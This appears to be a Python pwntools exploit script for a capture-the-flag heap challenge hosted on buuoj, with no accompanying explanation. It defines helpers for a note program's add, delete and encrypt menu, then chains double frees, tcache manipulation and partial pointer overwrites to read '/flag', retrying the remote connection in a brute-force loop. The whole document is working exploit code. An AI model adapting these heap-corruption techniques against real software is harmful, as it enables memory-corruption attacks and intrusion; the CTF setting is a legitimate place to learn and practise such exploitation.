1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| from pwn import *
def add(size,content): sh.sendlineafter('>>','1') sh.sendlineafter('size of your note >>',str(size)) sh.sendafter('input your content >>',content)
def delete(index): sh.sendlineafter('>>','2') sh.sendlineafter('input the index to delete >>',str(index))
def encnote(index,size,seed): sh.sendlineafter('>>','3') sh.sendlineafter('input the index to encrypt >>',str(index)) sh.sendlineafter('input the size of the seed (max 0x50) >>',str(size)) sh.sendafter('input the crypt seed >>',seed)
def exploit(): for i in range(6): add(0x10,'a'*0x10) delete(1) delete(0) delete(0) add(0x1,'\x60') add(0x10,'a'*0x10) add(0x9,p64(0) + p8(0xA1)) for i in range(7): delete(0) delete(0) add(0x2,'\x70\xFA') delete(2) delete(2) add(0x1,'\x70') add(0x1,'a') add(0x1,'a') add(0x1,p8(3)) encnote(0,0x6A,'/flag'.ljust(0x68,'\x00') + p16(0x5147)) sh.recvuntil('welcome!') flag = sh.recvuntil('\n') print 'flag=',flag while True: try: global sh sh = remote('node3.buuoj.cn',29967) sh.sendlineafter('your name:','haivk') exploit() sh.interactive() except: sh.close() print 'trying...'
|